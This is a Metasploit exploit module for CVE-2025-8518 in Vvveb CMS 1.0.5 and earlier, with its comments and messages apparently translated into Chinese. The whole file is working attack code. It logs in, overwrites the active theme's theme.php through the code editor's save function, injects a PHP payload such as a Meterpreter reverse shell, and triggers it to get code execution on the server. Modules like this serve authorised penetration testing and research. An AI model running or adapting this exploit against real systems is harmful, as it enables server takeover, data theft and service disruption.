1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
|
##
# 此模块需要 Metasploit: https://metasploit.com/download
# 当前源代码: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
prepend Msf::Exploit::Remote::AutoCheck
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Vvveb CMS 远程代码执行漏洞',
'Description' => %q{
Vvveb CMS 存在通过代码编辑器功能进行的代码注入漏洞。
未经过滤的编辑功能允许攻击者控制对Web可访问文件系统上现有文件的修改,
这使得能够访问代码编辑器的远程身份验证攻击者能够在被修改的文件被应用程序或Web服务器执行或提供时实现代码执行。
此漏洞影响 Vvveb CMS 1.0.5 及更早版本。
成功利用可能导致在Web服务器权限下的远程代码执行,可能暴露敏感数据或中断服务操作。
攻击者可以在运行Web服务器的用户上下文中执行任意系统命令。
},
'License' => MSF_LICENSE,
'Author' => [
'Maksim Rogov', # Metasploit 模块
'Hamed Kohi' # 漏洞发现者
],
'References' => [
['CVE', '2025-8518'],
['URL', 'https://hkohi.ca/vulnerability/8']
],
'Platform' => ['php'],
'Arch' => [ARCH_PHP],
'Targets' => [
[
'PHP',
{
'Platform' => ['php'],
'Arch' => ARCH_PHP
# 已使用 php/meterpreter/reverse_tcp 测试
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2025-01-10',
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options(
[
OptString.new('TARGETURI', [true, 'Vvveb CMS 的路径', '/admin/']),
OptString.new('USERNAME', [true, '用于验证到 Vvveb CMS 的用户名', 'admin']),
OptString.new('PASSWORD', [true, '用于验证到 Vvveb CMS 的密码', ''])
]
)
end
def get_csrf_token
print_status('正在获取 CSRF 令牌...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET',
'keep_cookies' => true
)
fail_with(Failure::Unreachable, "#{peer} - Web 服务无响应") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - 意外的 HTTP 代码 #{res.code}") unless res.code == 200
html = res.get_html_document
csrf_input = html.at('input[name="csrf"]')
fail_with(Failure::UnexpectedReply, "#{peer} - 无法提取 CSRF 令牌") unless csrf_input
token = csrf_input.attributes.fetch('value', nil)
fail_with(Failure::UnexpectedReply, "#{peer} - CSRF 令牌为空") if token.blank?
print_good("令牌获取成功: #{token}")
token.to_s
end
def login(raise_on_fail: true)
csrf_token = get_csrf_token
print_status('正在尝试登录...')
post_data = Rex::MIME::Message.new
post_data.add_part(csrf_token, nil, nil, 'form-data; name="csrf"')
post_data.add_part('', nil, nil, 'form-data; name="redir"')
post_data.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="user"')
post_data.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="password"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'keep_cookies' => true,
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'vars_get' => { 'module' => 'user/login' },
'data' => post_data.to_s
)
if raise_on_fail
fail_with(Failure::Unreachable, "#{peer} - Web 服务无响应") unless res
fail_with(Failure::NoAccess, "#{peer} - 凭据错误 - #{datastore['USERNAME']}:#{datastore['PASSWORD']}") if res.body.include?('wrong email or password')
fail_with(Failure::UnexpectedReply, "#{peer} - 意外的 HTTP 代码 #{res.code}") unless res.code == 302
else
return CheckCode::Unknown('由于认证过程中发生网络错误,无法确定软件版本') unless res
return CheckCode::Unknown("由于提供的凭据 #{datastore['USERNAME']}:#{datastore['PASSWORD']} 无效,无法确定软件版本") if res.body.include?('wrong email or password')
return CheckCode::Unknown('由于认证过程中返回了未知的网络错误代码,无法确定软件版本') unless res.code == 302
end
@logged_in = true
print_good('登录成功')
return
end
def get_active_theme_path
print_status('正在识别活动主题路径...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => { 'module' => 'theme/themes' }
)
fail_with(Failure::Unreachable, "#{peer} - Web 服务无响应") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - 意外的 HTTP 代码 #{res.code}") unless res.code == 200
active_theme = res.get_html_document.at('div.list-card.active')
fail_with(Failure::UnexpectedReply, "#{peer} - 未找到活动主题的卡片") if active_theme.blank?
theme_preview = active_theme.at('.card-img-top img').attributes.fetch('src', nil)
fail_with(Failure::UnexpectedReply, "#{peer} - 未找到活动主题卡片的预览图") if theme_preview.blank?
theme_dir = File.dirname(theme_preview)
theme_path = theme_dir + '/theme.php'
print_good("主题路径成功识别: #{theme_path}")
theme_path
end
def get_theme_content(theme_path)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => {
'module' => 'editor/code',
'action' => 'loadFile',
'type' => 'themes',
'file' => theme_path
}
)
fail_with(Failure::Unreachable, "#{peer} - Web 服务无响应") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - 意外的 HTTP 代码 #{res.code}") unless res.code == 200
res.body
end
def set_theme_content(theme_path, content)
post_data = Rex::MIME::Message.new
post_data.add_part(content, nil, nil, 'form-data; name="content"')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'POST',
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
'vars_get' => {
'module' => 'editor/code',
'action' => 'save',
'type' => 'themes',
'file' => theme_path
},
'data' => post_data.to_s
)
fail_with(Failure::Unreachable, "#{peer} - Web 服务无响应") unless res
fail_with(Failure::UnexpectedReply, "#{peer} - 意外的 HTTP 代码 #{res.code}") if res.code != 200
end
def trigger_payload(_theme_path)
print_status('正在触发载荷...')
send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => {
'module' => 'editor/editor',
'url' => '/',
'template' => 'index.html'
}
)
end
def set_payload(theme_path)
print_status('正在设置载荷...')
set_theme_content(theme_path, payload.encoded)
print_good('载荷设置完成')
end
def check
error_message = login(raise_on_fail: false)
return error_message if error_message
print_status('正在检查版本...')
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path, 'index.php'),
'method' => 'GET',
'vars_get' => { 'module' => 'tools/systeminfo' }
)
return CheckCode::Detected('认证过程成功完成。这意味着服务器使用了 Vvveb CMS。然而,由于在请求软件版本页面时发生网络错误,无法确定软件版本') unless res
return CheckCode::Detected("认证过程成功完成。这意味着服务器使用了 Vvveb CMS。然而,由于在请求软件版本页面时服务器返回了未知状态代码 #{res.code},无法确定软件版本") unless res.code == 200
version_td = res.get_html_document.at('tr:has(th:contains("Vvveb version")) td')
return CheckCode::Detected('认证过程和软件版本页面请求均成功完成。这意味着服务器使用了 Vvveb CMS。然而,在软件版本页面上未找到 Vvveb 版本标签') if version_td.nil?
version = Rex::Version.new(version_td&.text&.strip)
return CheckCode::Appears("检测到版本 #{version},该版本存在漏洞") if version <= Rex::Version.new('1.0.5')
CheckCode::Safe("检测到版本 #{version},该版本不存在漏洞")
end
def cleanup
begin
set_theme_content(@theme_path, @default_theme_content) unless @theme_path.nil? && @default_theme_content.nil?
rescue StandardError
# 接收到 shell 后,调用 set_theme_content 时,服务器会超时,但无需返回错误。
end
super
end
def exploit
login(raise_on_fail: true) unless @logged_in
@theme_path = get_active_theme_path
@default_theme_content = get_theme_content(@theme_path)
set_payload(@theme_path)
trigger_payload(@theme_path)
end
end
|